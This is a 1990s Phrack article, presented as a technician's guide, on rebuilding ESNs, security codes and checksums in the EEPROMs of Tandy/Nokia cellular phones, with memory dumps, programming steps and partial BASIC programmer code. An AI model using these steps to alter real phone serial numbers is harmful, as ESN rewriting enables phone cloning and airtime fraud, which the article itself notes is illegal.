| | 0 | bit e7 not used |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | 0 | bit e6 not used |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | 0 | bit e5 not used |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | 0 | bit e4 transportable speaker present |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | 0 | bit e3 not used |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | 0 | bit e2 not used |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | 0 | bit e1 not used |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | 1 | Word sync scan disable (bit e0) portable |
| | | use only. |
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|-------------|---------------------|---------|-----------------------------
| 56# | (NOT USED) | |
|-------------|---------------------|---------|-----------------------------
| 57# | (NOT USED) | |
|-------------|---------------------|---------|-----------------------------
| 58# | COMPANDER ON | | Turn compander ON
|-------------|---------------------|---------|-----------------------------
| 59# | COMPANDER OFF | | Turn compander OFF
|-------------|---------------------|---------|-----------------------------
| 60# and 61# | (NOT USED) | |
|-------------|---------------------|---------|-----------------------------
| 61# | ESN TRANSFER | | For series I or 1? and MINI
| | | | TACS - Probably Micro TACS.
|-------------|---------------------|---------|-----------------------------
| 62# | RNG-ON | | Turn the APC ringer audio
| | | | path ON.
|-------------|---------------------|---------|-----------------------------
| 63# | RNG-OFF | | Turn the APC ringer audio
| | | | path OFF.
|-------------|---------------------|---------|-----------------------------
| 64# | PLT-ON | | Turn the APC transmit pilot
| | | | path on.
|-------------|---------------------|---------|-----------------------------
| 65# | PLT-OFF | | Turn the APC transmit pilot
| | | | path off.
|-------------|---------------------|---------|-----------------------------
| 66# thru 71#| (NOT USED) | |
|-------------|---------------------|---------|-----------------------------
| 66# | IDENTITY TRANSFER | | Series II and some current
| | | | portables.
|-------------|---------------------|---------|-----------------------------
| 68# | DISPLAY FLEX AND | |
| | MODEL INFO | |
|-------------|---------------------|---------|-----------------------------
| 69# | USED WITH IDENTITY | |
| | TRANSFER | |
|-------------|---------------------|---------|-----------------------------
| 72# | MODULATION GAIN | | Refer to the Portable
| | ADJUST | | Telephone Phasing section for
| | | | use of this command.
|-------------|---------------------|---------|-----------------------------
| 73# | POWER OUTPUT ADJUST | | Refer to the Portable
| | | | Telephone Phasing section for
| | | | use of this command.
| | | | (0 to 7.)
|-------------|---------------------|---------|-----------------------------
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Seven, Issue Forty-Eight, File 7 of 18
TANDY / RADIO SHACK CELLULAR PHONES
REBUILDING ELECTRONIC SERIAL NUMBERS AND OTHER DATA
By Damien Thorn
LEGAL CRAP
(mandated by our cheap-suit, can't afford cigars, polyester-pants-wearing,
no-practice-having, almost dis-barred, old-fart legal counsel who only charges
us $20 / hour because he meant to retire when he was 70 but lived a few years
longer than he expected...hell, we love him!)
Contents copyright 1994, 1995 Phoenix Rising Communications.
Software copyright 1993, 1994, 1995 as indicated.
All Rights Reserved. Distribution of contents in hard-copy form is forbidden.
Redistribution in electronic form is permitted only as outlined in the Phrack
licensing agreement, provided this article is not segregated from the other
editorial contents of Phrack #48.
Use caution when rebuilding corrupt serial numbers, and avoid lending your
talents to further the goals of unscrupulous people.
Altering the serial number of a cellular transceiver is a violation of the
FCC rules, and the U.S. Secret Service is charged with the responsibility
of investigating fraudulent activity.
All of this material was developed in-house and not provided or
endorsed by the manufacturer. Brand names and trademarks are used for
identification purposes only and are the property of their respective
owners. Use of same within this article definitely does not imply agreement
with or endorsement of the material presented, and probably aggravates them
to no end. There are no guarantees or warranties with regard to the accuracy
of this article. Although we've done the best job that we can, we may be
wrong. Happens all the time. If you damage a phone or inadvertently start
a global thermonuclear war, that's your problem. Don't come crying to us, or
make us fork over another twenty bucks to the old shyster. What you do with
this information is your responsibility.
INTRODUCTION
While manufacturers publish service manuals for their cellular
transceivers, they have an annoying habit of omitting certain
data pertaining to memory devices and the arrangement of the data
stored inside them. Since this stored information includes the
electronic serial number (ESN), the lack of documentation can
easily be excused as a way to avoid unwittingly facilitating
fraud.
The drawback to the 'security through obscurity' approach is that
service technicians who have a legitimate need to reprogram these
memory devices are unable to do so. The Nokia-designed
transceivers discussed in this article are an excellent example.
Since the ESN is stored in the same electrically-erasable
programmable read-only memory (EEPROM) device as the numeric
assignment module (NAM) information, corruption of the data can
be catastrophic to the operation of the phone.
Since the handset programming mode of these Nokia units actually
write-enables the memory device to store the alterable parameters,
an errant pulse from the microprocessor, dropped bits or supply
voltages falling out of tolerance can cause the ESN or checksum
to become overwritten or otherwise rendered useless. Should this
occur, dealers have had little recourse but to ship the
transceiver back to the factory for repair. Until now, that is.
The goal of Phoenix Rising Communications in producing this
documentation is to empower technicians to do the job they have
been educated and hired to perform. This guide to Tandy and
Radio Shack cellular phones will enable the technician to rebuild the
corrupt data within this series of transceivers with confidence.
The information in this article was developed from the installed
and transportable versions of the most commonly purchased phones
from Radio Shack stores. These units were sold for many years,
and finally replaced last year with a new, redesigned model. The
data presented here can probably be applied to certain compatible
Nokia transceivers as indicated later in the text.
CHAPTER 1
This publication is designed to provide supplemental information
to assist in the servicing of cellular mobile telephones
manufactured by Tandy Corporation under license from the Nokia Corporation.
It is not meant to be a replacement for the factory service manual.
Any shop needing to perform component level repairs should
definitely obtain the factory documentation from Tandy National
Parts.
Our primary goal is to explain the contents of the numeric
assignment module, or NAM. In these particular phones, both the
NAM parameters and the electronic serial number (ESN) are stored
within the same electrically erasable programmable read-only
memory (EEPROM) device.
The problem inherent with this engineering decision is that the
ESN stored within this chip is not necessarily permanent. Since the
chip can be erased or reprogrammed, certain circumstances could
possibly cause the ESN to become corrupt. These include improper
signals from the microprocessor, induced currents or a power
interruption during NAM programming as the write cycle is taking
place.
Since the available service literature does not describe the
functions of this serial EEPROM or the data contained within,
service personnel would have to return the transceiver to the
manufacturer for service. This is not cost effective in terms of
time or money for either the shop or cellular customer.
Technicians who invest a little time to become familiar with the
data stored within the NAM circuitry, including the placement of
the ESN and checksum byte can service these types of problems
in-house and with little difficulty.
Basic instructions for peaking the transceiver's RF sections have
also been included herein as a convenience. While the phone is
open and on the test bench, the customer's transceiver should
also be given a quick check for proper alignment.
EQUIPMENT REQUIRED
Other than basic hand tools, disassembly of the phone requires a
soldering iron with a medium sized tip and a vacuum de-soldering
tool. Good size solder removal braid may be used in conjunction
with, or in lieu of the de-soldering tool.
To correct data that has become corrupted within the EEPROM, a
programming device is required capable of reading and burning an
8-pin DIP integrated circuit. One such inexpensive device is
listed in appendix III.
An individual who is familiar with the memory device involved has
written a software program in the BASIC language to allow the
programming of this chip via the parallel port of an
IBM-compatible personal computer. The source code for this program
can be found in the appendix, and is provided as a reference only. Such
software is subject to the peculiarities of the host PC and
therefore cannot be recommended for use in place of a standard PROM
programmer. Older versions of GWBASIC are preferred to Microsoft's
current QBASIC interpreter.
MODELS COVERED
The information presented is believed to cover all of the installed
and transportable (bag phone) cellular transceivers manufactured
by the Tandy Corporation under license from the Nokia Corporation up
until about a year ago.
Tests have been conducted on a random selection of these phones
with manufacture dates ranging from 1989 through early 1994. All
versions of the "TP" firmware through January, 1994 should be
supported.
Although no house-branded OEM Nokia transceivers have been
tested, we have surmised that this information is applicable to several
models based on the same or a similar design. These models
include the Nokia LX-11, M-11, M-10 and the Nokia-Mobira P4000 (PT612).
Some of these units, like the very old Radio Shack equivalents,
will require a service handset to program. More on that in the
next issue of Phrack.
HAND-HELD UNITS
Only one of the hand-held cellular phones previously sold through
Radio Shack utilizes a discrete surface-mounted integrated
circuit to store the ESN and NAM parameters. If you have the capability
to read and program this SOIC 93C46 memory device you may be able to
extrapolate the PROM dumps in this guide to work with this phone.
Due to the difficulty in disassembling this unit and the delicate
nature of the surface-mounted EEPROM, the reader is cautioned
against attempting to service these in-house.
DISASSEMBLY
Prior to disassembling the transceiver, all antenna and cables,
including the handset, should be disconnected from the jacks on
the unit.
To aid in disassembly and component location, the original
hard-copy version of this publication contained several pages of
photographs. While the hard-copy version is available (see end of
article), you will hopefully be able to figure out what we're talking about
without them.
Disassembly begins by snapping the plastic end panel from the
black transceiver cover. Some units just pop up and off, while others
have two small plastic tabs on each side that must be depressed
free the end panel for removal.
With the end panel removed, the top plastic cover is now free to
slide off. With this cover removed, the metal transceiver itself
can be dumped from the remaining plastic housing by turning it
upside down, or pulling up on the metal heat sink assembly that
comprises one side of the transceiver unit.
There is a metal shield on each side of the transceiver (top and
bottom.) One is a solid piece of thin sheet metal, and the other
is broken up in to smaller, individual shields and soldered to
the transceiver chassis. The shield that needs to be removed is the
solid one. It is only held in place with the friction grips
along the edges, and can be pried off with your fingers.
Once the shield is removed from the proper side of the
transceiver, the solder side of the logic board will be exposed.
This board must be removed to gain access to the component side. Take
static precautions so as not to fry the CMOS silicon that is currently
hidden from view.
Other than several connectors that mate between the two boards,
the board is usually held in place by several blobs of solder spaced
along the edge of the board. These small 'solder welds' serve as
a ground bond between the board and the transceiver chassis, and
are not electrically necessary under normal circumstances.
Once the solder ground bonds have been melted and removed with a
de-soldering tool or solder wick, use a pair of needle-nose pliers
to gently bend back the small metal tabs holding the circuit
board in place.
Before proceeding, inspect the foil side of the board to ensure
that no solder has splashed on the board during de-soldering, and
that the foil traces where the work was performed are still
intact. This last step is where most trouble arises. These boards are
delicate, and a heavy hand while prying or bending will almost
ensure that a trace or five will be transected when the tool
slips. If this happens, resolder the traces to undo the damage.
At this point the logic board is held in place only by pins on
the transceiver board sticking up in to sockets on the logic board.
Gripping the edges of the logic board with your fingers and
pulling straight up will disengage the connectors and allow the logic
board to pull free of the transceiver. Slightly rocking the board from
each side may aid in the removal. Do not grip the board with
pliers or damage can result to the small chip resistors and other
components mounted on the solder side of the board.
Once dislodged, you'll have two separate circuit boards.
THE LOGIC BOARD
The board that supplies logic and control functions for the
cellular mobile telephone is easily identifiable by the
microprocessor and 27C512 EPROM containing the operating
firmware. The EPROM's erase window is covered by a protective sticker
that identifies the firmware version stored therein. Within the last
few years, the version has ranged from TP-2 through TP-8.
Also on this board is the serial EEPROM where the ESN and NAM
parameters are stored. This chip is an 8-pin DIP located in a
socket near pin #1 of the NEC microprocessor. It is usually
covered with a small paper sticker bearing the last few digits of
the serial number stored inside.
While security experts may blast Nokia for designing a phone that
stores the ESN in a socketed chip, and then says "here I am" by
placing a sticker on it, this is a dream come true for any
technician facing issues of data corruption.
THE SERIAL EEPROM
The Serial EEPROM containing all of this data is a PCD8572 (or
85C72) manufactured by Microchip Technology, Inc.
This 8-pin device is a 1k (128x8) CMOS serial electrically
erasable PROM. The pin configuration for the device can be found in the
appendix.
Power is supplied to this chip only when the microprocessor is
performing a read or write operation. Transistor Q115 (surface
mounted to the underside of the logic board right about in the
middle) switches the supply voltage on and off. Should power be
interrupted during the write cycle, the ESN may become corrupt.
REBUILDING THE ESN
To replace the damaged serial number, note the unit's serial
number from the cellular service agreement or the phone itself.
The ESN (in decimal) is located on a white paper sticker applied to the
side of the metal transceiver chassis. It is also stamped into the
plastic model identification plate on one side of the plastic
outer housing.
For reprogramming, the ESN must be converted to hex. A scientific
calculator or any number of public domain computer programs will
simplify the task.
CONTENTS OF NAM
Once the original serial number has been determined, carefully
remove the 8572 EEPROM from the socket and place it in the
adapter required by your PROM programmer. Reading the contents of the
chip, you'll see data as depicted below.
Note that these data dumps are simulated for illustrative purposes.
The ESN and encoded MIN bytes are not legitimate numbers, so don't
bother 'testing' them.
The first five bytes of data contain the security code. These
bytes are the hex values representing ASCII characters 0 through
9, thus represented as "3X" where "X" is the actual digit of the
security code. A factory security code of 1 2 3 4 5 would be
represented in bytes 00 through 04 as follows:
31 32 33 34 35
Since you will require the security code to enter handset
programming mode, please note the current security code or
program these bytes with your shop's standard default.
UNDERSTANDING ADDRESSES
Some cellular technicians have little experience in the digital
world. Service monitors and watt-meters are expensive and wonderful
devices, but sometimes you need to do a little more than tweak a pot
to fix a phone. The digital-literate can skip this oversimplified
explanation.
To assist those in reading the locations of the various bytes in the EEPROM,
understand that each line (as usually displayed on a programmer) contains
sixteen (16) bytes. The first line begins with byte 00, then 01, 02, 03,
04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E and finally 0F.
The second line begins with 10, then 11, 12, 13, 14, 15, 16, 17,
18, 19, 1A, 1B, 1C, 1D, 1E, and 1F as the last byte of the line.
The third line increments the same way, except as byte 30, 31,
etc., to 3F. You now know how to count in base 16 (hex)!
As an example, the locations used by the phone end at byte 3D,
which contains 00 in the example below. Beginning with the next
byte (3E), a repetitive pattern of alternating values of AA and
55 are stored. This is just 'test' data and is never read by the
phone. The chip itself ends at byte 7F, and your PROM programmer
may display FF following byte 7F to indicate the non-existence of
these locations in the chip.
8572 EXAMPLE DATA DUMP
0000 31 32 33 34 35 0A FF 21 A5 38 25 82 0F 25 17 1A
0010 00 00 00 00 24 15 B1 C3 24 04 A3 21 16 2D 11 AA
0020 0A 00 00 64 6C B3 32 00 27 00 01 01 11 11 11 11
0030 11 08 4D 01 0F 01 0F 00 04 00 00 00 FF 00 AA 55
0040 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55
0050 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55
0060 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55
0070 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55
THE CRUCIAL SERIAL NUMBER
The hex ESN for any given phone consists of four bytes, as we use
the term here. Technically it is eight bytes (in hex, 32 bits if
expressed in binary form), but we're referring to a 'byte' as a two-digit
hex number, rather than each digit (byte) as a single entity. For our
example, we're using the fictitious ESN of A521FF0A. All Radio Shack
phones will have an ESN beginning with A5 hex. This is the "manufacturers
code" prefix that has been assigned to Tandy.
Breaking the ESN into four bytes as viewed on the PROM programmer,
the ESN would appear as:
A5 21 FF 0A
Refer back to the example dump of the data within the 8572 IC.
Immediately following the security code is the ESN stored in
reverse order. With the security code occupying bytes 00 to 04,
the ESN is located in bytes 05, 06, 07 and 08. Byte 09 contains
the value 38. It should always contain 38.
In the example, beginning with byte 05 you can read the ESN (in
reverse sequence) as:
0A FF 21 A5
The examples below will assist you in visualizing the bytes
containing the security code and the electronic serial number.
The programming and placement of these two crucial pieces of data is
fairly straight forward. Using the buffer editor function of the
PROM programmer, you can simply type over the garbage that may be
present in these locations with the correct values for the
security code and the ESN. Double check your data entry!
OTHER ADDRESSES
The entire NAM data is stored in the remaining locations of this
chip. Bytes 0A, 0B and 0C contain the firmware revision date,
and bytes 0D - 0F contain the installation date as programmed via the
handset programming mode.
Other bytes contain the encoded Mobile Identification Number
(MIN), Station Class Mark (SCM), etc.
These various bytes do not need to be reprogrammed through your
PROM burner, as they can all be corrected via handset
programming. Only the security code and ESN must be properly reprogrammed
directly to the chip itself. For more information on the locations
of this other data, refer to the source code in Appendix A. It
allows you to see where (and how) this other data is stored within
the NAM.
The last item to program is the checksum.
THE SECURITY CODE: BYTES 00 - 04
0000 31 32 33 34 35 XX XX XX XX XX XX XX XX XX XX XX
THE ESN: BYTES 05 - 08
0000 XX XX XX XX XX 0A FF 21 A5 XX XX XX XX XX XX XX
LOCATING THE CHECKSUM
There is a one byte device checksum stored within the 8572 that
is used by the phone to check the integrity of the data stored
therein. The checksum is located at byte 3D, indicated by "XX"
in the example below.
The checksum is derived from all the data stored in the NAM, not
just the ESN. Computing it is relatively easy as it is simply
the sum (in hex) of all the values from bytes 00 through 3C as
underlined below.
Assuming the PROM programmer has a checksum function, you can
enter the beginning address as 0000 and the ending address as 003C.
The software will add all of the values between these locations and
give you the sum. The alternative is to add the numbers manually
using the hex mode of a scientific calculator. Either way, adding
the hex values of all the bytes between 00 and 3C of our example yields
a sum of 0B5E.
The least significant two-digit byte is the actual device
checksum that would be programmed in location 3D. In our example, the
least significant half is 5E. Ignoring the most significant half of
the sum (0B), a value of 5E must be programmed to location 3D.
Note that the checksum will be recomputed and change after
handset programming. When the MIN or other data is changed, it alters
the values in various bytes. The checksum encompasses all of the
data stored within the chip used by the transceiver's firmware.
CHECKSUM LOCATION
0000 31 32 33 34 35 0A FF 21 A5 38 25 82 0F 25 17 1A
0010 00 00 00 00 24 15 B1 C3 24 04 A3 21 16 2D 11 AA
0020 0A 00 00 64 6C B3 32 00 27 00 01 01 11 11 11 11
0030 11 08 4D 01 0F 01 0F 00 04 00 00 00 FF XX AA 55
0040 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55
0050 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55
0060 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55
0070 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55
BYTES SUMMED TO DERIVE CHECKSUM
0000 31 32 33 34 35 0A FF 21 A5 38 25 82 0F 25 17 1A
0010 00 00 00 00 24 15 B1 C3 24 04 A3 21 16 2D 11 AA
0020 0A 00 00 64 6C B3 32 00 27 00 01 01 11 11 11 11
0030 11 08 4D 01 0F 01 0F 00 04 00 00 00 FF .. .. ..
0040 .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
0050 .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
0060 .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
0070 .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
DEFAULT VALUES
In the event that all of the data stored within the NAM becomes
corrupt, the technician will need to program the security code,
the ESN, and certain default data values to allow the phone to power
up. Once powered up, all of the other data can be automatically
reconstructed by the phone using the handset programming mode.
Since the factory does not provide any information about the
contents of the 8572 EEPROM, we are unsure of the function of
this 'default data.' It seems to have little significance.
The underlined bytes depicted below are fairly typical. Ideally
the technician should compare the contents of an operational
phone with equivalent firmware to determine the values for the
underlined locations, but if this is not possible then the values
provided in the example may suffice.
Once these defaults have been programmed in the proper locations,
and the ESN and security code have been reconstructed, compute
the checksum and store it in address 3D. Temporarily reassemble the
phone and apply power. The unit should power up and complete it's
self-test which will include the operation where the microprocessor
computes the NAM checksum and compares it to the value stored in
location 3D.
Assuming the self-diagnostics pass, the remaining data can now be
reconstructed through normal handset programming.
The handset programming template applicable to most of these
units is located immediately following the appendix detailing the chip
programming software included for reference purposes.
DEFAULT DATA VALUES
0000 XX XX XX XX XX XX XX XX XX 38 XX XX XX XX XX XX
0010 00 00 00 00 XX XX XX XX XX XX XX XX XX XX XX XX
0020 XX XX XX XX XX XX XX 00 27 00 01 01 11 11 11 11
0030 11 08 4D 01 0F 01 0F 00 04 00 00 00 FF XX AA 55
0040 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55
0050 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55
0060 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55
0070 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55
ADDITIONAL NOTES
As discussed, the parallel port programming software interface
has a few quirks, most involving the programming voltage supplied to
the chip. If all else fails, and a PROM burner is not available,
take the supply voltage (Vcc) directly from the logic board.
Run test lead jumpers from pins #4 and #8 of the IC socket on the
logic board that held the 8572 EEPROM and connect to the
respective pins on the socket attached to the cable to be used for
programming. Turn the board over and locate surface mount
transistor Q115 which switches the supply voltage to the IC
socket on and off.
This small chip transistor is directly to the left of pin #8 (of
the 8572 socket) and can be positively identified by the circuit
trace from socket pin #8 leading directly to the emitter of Q115.
By examining this area of the board, you can determine which of
the other two traces connects to the transistor's collector.
Jumpering the traces and shorting the collector and emitter simply
provides a constant, conditioned voltage supply to the socket designed to
power the 8572 in programming mode. It may also be necessary to cut the
trace to the base of Q115.
Once the chip has been programmed with the software, restore the
integrity of the cut trace to the base of Q115 and remove the
short between the collector and emitter.
USING THE SOFTWARE
The Cellular Data Repair Utility software requires that you first
create a small text file using an ASCII text editor such as DOS's
"EDIT" utility program.
This text file must contain the data described below in the
specific order presented. The data in this image (.img) file
will be programmed into the 8572.
XXX ESN Prefix (decimal)
XXXXXXXX ESN (8 digits decimal)
XXXXX SIDH (5 digits decimal)
1 Access Bit
1 Local Option Bit
AAAPPPXXXX MIN (10 digits)
08 SCM
0XXX (0333 or 0334)
10 Access Overload Class
1 Pref. System Bit
10 GIM
12345 Security Code
EXAMPLE IMAGE FILE
Filename: TEST.IMG
165
00246812
00031
1
1
5105551212
08
0334
10
1
10
12345
PROGRAMMING
Once the image file containing the appropriate data has been
saved, run the software with QBASIC or Microsoft BASIC and follow the
prompts. Be sure to set the proper parallel port address in line
1950 to reflect the port to which the interface is connected
first.
TUNING STEPS
1) With a digital voltmeter attached to the positive terminal
of C908, adjust VR908 to provide a reading of 8 vdc (q 0.1 volt).
2) With the voltmeter attached to the positive terminal of
C913, adjust VR918 for a reading of 8 vdc (q 0.1 volt).
3) Connect the voltmeter to test point TXV and enter diagnostic
command 0, 1, SEL, 9, END. Adjust C676 to achieve a reading of 5
vdc control voltage (q 0.1 volt).
4) Check receiver control voltage with test point RXV. Adjust
C614 for a reading of 4 vdc (q 0.1 volt).
5) With a power meter connected to the antenna connector of
the transceiver through an attenuator, enter command SEL, 1, 2, SND,
END to turn on the transmitter at high power. VR814 should then
be adjusted to show 3 watts (34.8 dBm) on the power meter.
6) Using the same power meter, enter command SEL, 1, 3, 7, END.
Adjust VR846 for a low power maximum reading of 4 milliwatts (6
dBm).
7) Using a frequency counter to measure the output of the
antenna connector, adjust X600 for a reading of 836.4000 MHz (q 0.1 kHz).
8) Using a deviation meter, activate DTMF tones with command
SEL, 2, 1, END, 1, 1, END and adjust VR259 for 8.4 kHz q 0.1 kHz DTMF
deviation.
9) End DTMF signaling with command 1, 0, END. Enable SAT
transmission by entering SEL, 2, 8, SND, END and adjust VR261 for
7.8 kHz deviation (q 0.1 kHz).
10) Enter SND, END to discontinue SAT signaling.
ADDITIONAL ADJUSTMENT
The level of audio fed to the earphone via the "ear" line (pin #7
on the handset connector) can be adjusted via VR215. 1.2 Vrms is
the factory specified level with the volume turned up to it's
maximum setting.
Received audio signals can be adjusted for minimal distortion by
peaking L703.
Frequency deviation of voice audio can be fine tuned with VR260.
Factory spec. is for 8 kHz deviation.
POWER LOSS
If the transceiver refuses to even power up and begin self-diagnostics,
check the traces on the underside of the board near the power connector.
Most of these units 'protect' themselves against reverse polarity
being present on the power cables with fusible traces. If the
phone is connected to a vehicle or battery power supply backwards,
one of these very small circuit traces will vaporize, leaving the
phone inoperative.
While inconvenient for the customer and service technician alike,
repairing the trace is an additional source of revenue for the
shop that might not be generated had a standard replaceable fuse or
rectifier been utilized in the design.
APPENDIX III
TECHNICAL RESOURCES
EEPROM PROGRAMMER
In preparing this article and performing other research involving various
types of firmware, we used the EPROM+ programming system from Andromeda
Research. This small, portable device is housed in a carrying case and
requires no internal card to operate with your PC. Once the software is
installed on the computer, the EPROM+ programmer is simply plugged into an
available parallel printer port.
To program the PCD8572 series EEPROMs, a small adapter is required.
You can construct this yourself from the included instructions,
or purchase it already built for about $35 extra.
The EPROM+ programming system is available for $289 from the
manufacturer:
Andromeda Research
P.O. Box 222
Milford, Ohio 45150
(513) 831-9708 - voice
(513) 831-7562 - fax
SERVICE MANUALS
Service manuals are available for most Radio Shack or Tandy products from
Tandy National Parts. Ordering these publications requires that you visit
your local Radio Shack store. Tell the clerk that you want him (or her)
to call National Parts and order a service manual for catalog number....
National Parts no longer accepts calls from consumers and will only
ship to a recognized Radio Shack retail outlet.
NOKIA - MOBIRA
Service handsets, manuals and other parts can be ordered from
Nokia-Mobira in Largo, Florida. Their toll-free technical
assistance number is (800) 666-5553.
TANDY FAX-BACK SERVICE
Tandy Support Services offers technical information via fax-back
server. There is no mention that the service is restricted to
Radio Shack stores. Although ANI can be hell, the toll-free number
is (800) 323-6586 if you want to be faxed product info on assorted 'Shack
products. The server makes neat video game noises, and thanks you for
using the service.
For an index of the cellular specification sheets available via
fax-back, request document #8882.
Programming instructions are also available from this automated
fax server:
DOCUMENT # PHONE MODEL
9009 Current List [index]
8728 CT-105, 1050, 1055
9004 CT-350
9005 CT-302
9006 CT-102, 103, 104, 1030, 1033
9007 CT-300, 301
9008 CT-100, 101, 200, 201
9020 CT-351
9665 BC901ST [170-1015]
9579 CP-1700 [170-1016]
9577 CP-4600/5600 [170-1067 / 170-1056]
14493 Ericsson AH-210 [170-1064]
9581 EZ-400 [170-1057]
9743 Motorola 12822 [170-1058]
9583 Motorola DPC550 [170-1059]
This information provided for reference purposes only. Use of
this fax-back service may be restricted to authorized personnel. No
one has ever faxed me to complain, however.
THE INTERFACE
The uuencoded drawing which accompanies this article describes the
interface required to use the programming software to rebuild the data
stored within the serial EEPROM. Because there are a number of variables
that can affect the performance of this software and interface, prepare
yourself for a bit of trial and error. A standard programming device is
recommended over the use of this software. Since the original publication
of this manual in hard-copy, we've heard reports that the software does not
work well with the PCD8572, but does favor the PCD85C72 (CMOS version).
The DB-25 connector is wired to an 8-pin DIP socket to accommodate the 8572
integrated circuit. A regulated, well-filtered source of 5 volts must be
connected to pin #8 of the DIP socket, and Pin #4 must be tied to ground.
If the PC used for programming and the power source to the IC socket share
a common ground, you may be able to use pin #25 of the parallel port connector
as shown in the diagram.
Please be careful not to cause any shorts in this instance or you
may damage your computer by sinking too much current through the
parallel port. If you are unsure of what you are doing, eliminate
the connection between pin #4 of the IC socket and pin #25 of the
DB-25 connector. Instead, connect pin #4 directly to ground.
The resistor shown in the circuit is used as an optional voltage
divider. Depending on the voltage provided by pin #2 of your
parallel port, a resistor between 100 and 1k ohms may be required
to drop it to a level within the nominal range required by the
EEPROM.
TUNING THE RADIO
The diagrams in the uuencoded .zip file will assist in identifying and
locating the various adjustment points on the logic board and transceiver (RF)
PC board. Alignment should not be attempted by technicians unfamiliar with
the principles involved, or in the absence of calibrated radio frequency
measurement equipment.
A diagnostic (service) handset may be required to access
service-level commands within the transceiver. If the phone does
not respond properly to the commands documented herein, you'll
need to obtain a service handset from Tandy National Parts. This
handset is actually a Nokia "programming handset" which can be
obtained directly from the factory.
PROGRAMMING TEMPLATE
For Tandy / Radio Shack Cellular Mobile Telephones
Models CT-102, 302, 1030, 1033, etc.
1) Power up phone. After the phone cycles through it's
self-test mode and the display clears, enter the following keystrokes from
the keypad:
*, 3, 0, 0, 1, #, X, X, X, X, X, SEL, 9, END
The X, X, X, X, X represents the five-digit security code stored
in EEPROM. The factory default is 1, 2, 3, 4, 5. This security
code is required to access handset programming mode.
2) The display will now read: IdEnt IF InFO Pri
3) Press END to program NAM 1. Display will show first
programming step.
4) To program NAM 2, press SND twice instead of END. Display
will cycle through: OPt InFO diSAbLEd then OPt InFO EnAbLEd
5) Use the END key to step through each step. The SND key
toggles the state of single-digit options. To enter new
information, use END to step through the display until the old
data is displayed. Key in the new data and press END to increment to
the next step.
6) When programming has been completed, press SEL, CLR to save
changes.
Step # Desired Input Display Data Description
01 5 digits HO-Id SIDH (Home System Identification)
02 0 or 1 MIN Mark MIN Mark (Toggle with SND)
03 0 or 1 LOCL OPt Local Use Mark (Toggle with SND)
04 10 digits Phon MIN (Area Code + Mobile Number)
05 08 St CLASS SCM (Station Class Mark)
06 333 or 334 PAging Ch IPCH (Initial Paging Channel)
07 2 digits O-LOAd CL Access Overload Class
08 A or B PrEF SyS Preferred System (Toggle with SND)
09 2 digits grOUP Id GIM Mark (Set to 10 in U.S.)
10 5 digits SECUrity Security Code
11 ------- 1 dAtE Firmware Date - not changeable
12 mmddyy 2 dAtE Installation Date
Press SEL, CLR to save & exit. Turn Power off and back on for
model CT-302.
[Begin Editorial]
--------------------------------------------------------------------------
HOW TO OBTAIN A HARD-COPY VERSION OF THIS FILE - WITH ALL PHOTOS:
--------------------------------------------------------------------------
"The Complete Guide to Tandy / Radio Shack Cellular Hardware" is available
for $15 prepaid. We keep $5 of the price to cover the cost of printing
and the Priority mail postage. The remaining $10 of the purchase price will
be donated to Boston's The L0pht to help them cover the cost of upgrading
their Internet connection for l0pht.com....
The guys at the L0pht have always been cool with us, and maintain what
amounts to one of the best cellular archives accessible on the 'net. We
want to do what we can to assist them in providing this public source of
enlightenment. Now you can help them, and get something for it in return.
If nothing else, you can sit back and enjoy all my great close-up photos
of the chips <g>!
-- Damien Thorn
Here's the address:
Phoenix Rising Communications
3422 W. Hammer Lane, Suite C-110
Stockton, California 95219
[end editorial]
-----------------------------------------------------------------------------
You can reach me via e-mail at: damien@prcomm.com
-----------------------------------------------------------------------------
1000 ' CELLULAR DATA REPAIR UTILITY
1005 ' Form image and program PCD8572 IC via LPT port.
1010 ' (c) 1993, 1994, 1995 WarpCoreBreachGroup - All rights reserved.
1015 '
1020 ' This program is not shareware/freeware.
1025 '
1030 DATA xx,xx,xx,xx,xx,xx,xx,xx ' Bytes 00-07
1040 DATA xx,38,xx,xx,xx,xx,xx,xx ' Bytes 08-15
1050 DATA 00,00,00,00,xx,xx,xx,xx ' Bytes 16-23
1060 DATA xx,xx,xx,xx,xx,xx,xx,xx ' Bytes 24-31
1070 DATA xx,xx,xx,D6,C5,5C,C6,00 ' Bytes 32-39
1080 DATA 27,00,01,01,11,11,11,11 ' Bytes 40-47
